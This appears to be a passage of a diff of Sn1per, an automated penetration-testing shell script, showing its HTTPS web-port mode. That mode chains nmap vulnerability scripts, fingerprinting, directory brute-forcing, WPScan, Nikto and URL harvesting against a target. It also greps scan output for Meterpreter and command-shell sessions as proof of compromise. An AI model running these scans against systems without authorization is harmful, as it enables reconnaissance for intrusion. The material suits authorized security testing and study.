VULNERABLE_METASPLOIT=$(egrep -h -i -s "may be vulnerable|is vulnerable|IKE response with leak|File saved in" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null)
|
||||
if [[ ${#VULNERABLE_METASPLOIT} -ge 5 ]]; then
|
||||
echo "$VULNERABLE_METASPLOIT" > $LOOT_DIR/output/vulnerable-metasploit-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
VULNERABLE_SHELLSHOCK=$(egrep -h -i -s "The following URLs appear to be exploitable:" $LOOT_DIR/web/shocker-$TARGET-*.txt 2> /dev/null)
|
||||
if [[ ${#VULNERABLE_SHELLSHOCK} -ge 5 ]]; then
|
||||
echo "$VULNERABLE_SHELLSHOCK" > $LOOT_DIR/output/vulnerable-shellshock-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
SHELLED=$(egrep -h -i -s "Meterpreter session|Command executed|File(s) found:|Command Stager progress|File uploaded|Command shell session" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null)
|
||||
if [[ ${#SHELLED} -ge 5 ]]; then
|
||||
echo "$SHELLED" > $LOOT_DIR/output/shelled-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: http://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
|
|
@ -0,0 +1,338 @@
|
|||
# WEBPORTHTTPS MODE #####################################################################################################
|
||||
if [[ "$MODE" = "webporthttps" ]]; then
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $LOOT_DIR 2> /dev/null
|
||||
mkdir $LOOT_DIR/domains 2> /dev/null
|
||||
mkdir $LOOT_DIR/screenshots 2> /dev/null
|
||||
mkdir $LOOT_DIR/nmap 2> /dev/null
|
||||
mkdir $LOOT_DIR/notes 2> /dev/null
|
||||
mkdir $LOOT_DIR/reports 2> /dev/null
|
||||
mkdir $LOOT_DIR/scans 2> /dev/null
|
||||
mkdir $LOOT_DIR/output 2> /dev/null
|
||||
fi
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE -p $PORT --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-webporthttps.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: https://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper -t $TARGET -m $MODE -p $PORT --noreport $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-$PORT-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
exit
|
||||
fi
|
||||
echo -e "$OKRED ____ $RESET"
|
||||
echo -e "$OKRED _________ / _/___ ___ _____$RESET"
|
||||
echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET"
|
||||
echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET"
|
||||
echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET"
|
||||
echo -e "$OKRED /_/ $RESET"
|
||||
echo -e "$RESET"
|
||||
echo -e "$OKORANGE + -- --=[https://xerosecurity.com"
|
||||
echo -e "$OKORANGE + -- --=[Sn1per v$VER by @xer0dayz"
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e " ; , "
|
||||
echo -e " ,; '. "
|
||||
echo -e " ;: :; "
|
||||
echo -e " :: :: "
|
||||
echo -e " :: :: "
|
||||
echo -e " ': : "
|
||||
echo -e " :. : "
|
||||
echo -e " ;' :: :: ' "
|
||||
echo -e " .' '; ;' '. "
|
||||
echo -e " :: :; ;: :: "
|
||||
echo -e " ; :;. ,;: :: "
|
||||
echo -e " :; :;: ,;\" :: "
|
||||
echo -e " ::. ':; ..,.; ;:' ,.;: "
|
||||
echo -e " \"'\"... '::,::::: ;: .;.;\"\"' "
|
||||
echo -e " '\"\"\"....;:::::;,;.;\"\"\" "
|
||||
echo -e " .:::.....'\"':::::::'\",...;::::;. "
|
||||
echo -e " ;:' '\"\"'\"\";.,;:::::;.'\"\"\"\"\"\" ':; "
|
||||
echo -e " ::' ;::;:::;::.. :; "
|
||||
echo -e " :: ,;:::::::::::;:.. :: "
|
||||
echo -e " ;' ,;;:;::::::::::::::;\";.. ':."
|
||||
echo -e " :: ;:\" ::::::\"\"\"':::::: \": ::"
|
||||
echo -e " :. :: ::::::; ::::::: : ; "
|
||||
echo -e " ; :: ::::::: ::::::: : ; "
|
||||
echo -e " ' :: ::::::....:::::' ,: ' "
|
||||
echo -e " ' :: :::::::::::::\" :: "
|
||||
echo -e " :: ':::::::::\"' :: "
|
||||
echo -e " ': \"\"\"\"\"\"\"' :: "
|
||||
echo -e " :: ;: "
|
||||
echo -e " ':; ;:\" "
|
||||
echo -e " -hrr- '; ,;' "
|
||||
echo -e " \"' '\" "
|
||||
echo -e " ''''$RESET"
|
||||
echo ""
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING TCP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -sV -Pn --data-length=50 -p $PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-https-$TARGET.xml
|
||||
port_https=`grep 'portid="'$PORT'"' $LOOT_DIR/nmap/nmap-https-$TARGET.xml | grep open`
|
||||
if [[ -z "$port_https" ]];
|
||||
then
|
||||
echo -e "$OKRED + -- --=[Port $PORT closed... skipping.$RESET"
|
||||
else
|
||||
echo -e "$OKORANGE + -- --=[Port $PORT opened... running tests...$RESET"
|
||||
echo "$TARGET" >> $LOOT_DIR/web/webhosts-unsorted.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 https://$TARGET:$PORT | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
curl --connect-timeout 5 -I -s -R https://$TARGET:$PORT | tee $LOOT_DIR/web/headers-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
curl --connect-timeout 5 -I -s -R -L https://$TARGET:$PORT | tee $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 10 -I -s -R -X OPTIONS https://$TARGET:$PORT | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port$PORT.txt 2> /dev/null
|
||||
if [[ "$WEBTECH" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
webtech -u https://$TARGET:$PORT | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-https-port$PORT.txt
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null | grep generator | cut -d\" -f4 2> /dev/null | tee $LOOT_DIR/web/webgenerator-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING COMMENTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null | grep "<\!\-\-" 2> /dev/null | tee $LOOT_DIR/web/webcomments-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING SITE LINKS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
if [[ "$WAFWOOF" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR WAF $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wafw00f https://$TARGET:$PORT | tee $LOOT_DIR/web/waf-$TARGET-https-port$PORT.txt 2> /dev/null
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$WHATWEB" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING HTTP INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
whatweb -a 3 https://$TARGET:$PORT | tee $LOOT_DIR/web/whatweb-$TARGET-https-port$PORT.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-https-port$PORT.raw > $LOOT_DIR/web/whatweb-$TARGET-https-port$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/whatweb-$TARGET-https-port$PORT.raw 2> /dev/null
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$WIG" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING SERVER INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 $PLUGINS_DIR/wig/wig.py -d -q https://$TARGET:$PORT | tee $LOOT_DIR/web/wig-$TARGET-https-$PORT
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-https-$PORT > $LOOT_DIR/web/wig-$TARGET-https-$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/wig-$TARGET-https-$PORT 2> /dev/null
|
||||
fi
|
||||
if [[ "$SSL" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING SSL/TLS INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
sslscan --no-failed $TARGET:$PORT | tee $LOOT_DIR/web/sslscan-$TARGET-$PORT.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/sslscan-$TARGET-$PORT.raw > $LOOT_DIR/web/sslscan-$TARGET-$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/sslscan-$TARGET-$PORT.raw 2> /dev/null
|
||||
echo ""
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SAVING SCREENSHOTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ $CUTYCAPT = "1" ]]; then
|
||||
if [[ $DISTRO == "blackarch" ]]; then
|
||||
/bin/CutyCapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
else
|
||||
cutycapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
fi
|
||||
fi
|
||||
if [[ $WEBSCREENSHOT = "1" ]]; then
|
||||
cd $LOOT_DIR
|
||||
python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium https://$TARGET:$PORT
|
||||
fi
|
||||
if [[ "$BURP_SCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -X POST \"http://$BURP_HOST:$BURP_PORT/v0.1/scan\" -d \"{\"scope\":{\"include\":[{\"rule\":\"https://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"https://$TARGET:$PORT\"]}\"$RESET"
|
||||
fi
|
||||
curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"https://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"https://$TARGET:$PORT\"]}"
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$NMAP_SCRIPTS" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -A -Pn -T5 -p $PORT -sV --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse --script=http-vuln*,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port$PORT
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/output/nmap-$TARGET-port$PORT 2> /dev/null > $LOOT_DIR/output/nmap-$TARGET-port$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/nmap-$TARGET-port$PORT 2> /dev/null
|
||||
fi
|
||||
if [[ "$PASSIVE_SPIDER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2019-51-index?url=*.$TARGET&output=json" | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$WAYBACKMACHINE" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$HACKERTARGET" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://api.hackertarget.com/pagelinks/?q=https://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$BLACKWIDOW" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
|
||||
blackwidow -u https://$TARGET:$PORT -l 3 -s y -v n 2> /dev/null
|
||||
cp -f /usr/share/blackwidow/"$TARGET"_"$PORT"/"$TARGET"_"$PORT"-*.txt $LOOT_DIR/web/ 2>/dev/null
|
||||
cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
|
||||
mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
if [[ "$WEB_BRUTE_COMMONSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e $WEB_BRUTE_EXTENSIONS -f -r -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u https://$TARGET:$PORT -w $WEB_BRUTE_COMMON -e -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" -t $THREADS -o $LOOT_DIR/web/webbrute-$TARGET-https-port$PORT-common.txt -fw -r
|
||||
fi
|
||||
fi
|
||||
if [[ "$WEB_BRUTE_FULLSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_FULL -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u https://$TARGET:$PORT -w $WEB_BRUTE_FULL -e -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" -t $THREADS -o $LOOT_DIR/web/webbrute-$TARGET-https-port$PORT-full.txt -fw -r
|
||||
fi
|
||||
fi
|
||||
if [[ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u https://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -e -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" -t $THREADS -o $LOOT_DIR/web/webbrute-$TARGET-https-port$PORT-exploits.txt -fw -r
|
||||
fi
|
||||
fi
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
|
||||
mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
wget https://$TARGET:$PORT/robots.txt -O $LOOT_DIR/web/robots-$TARGET:$PORT-https.txt 2> /dev/null
|
||||
if [[ "$CLUSTERD" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
clusterd --ssl -i $TARGET -p $PORT 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-port$PORT.txt
|
||||
fi
|
||||
if [[ "$CMSMAP" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING CMSMAP $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cmsmap https://$TARGET:$PORT | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port$PORTa.txt
|
||||
echo ""
|
||||
cmsmap https://$TARGET:$PORT/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port$PORTb.txt
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$WPSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wpscan --url https://$TARGET:$PORT --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port$PORTa.txt
|
||||
echo ""
|
||||
wpscan --url https://$TARGET:$PORT/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port$PORTb.txt
|
||||
fi
|
||||
if [[ "$NIKTO" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nikto -h https://$TARGET:$PORT -output $LOOT_DIR/web/nikto-$TARGET-https-port$PORT.txt
|
||||
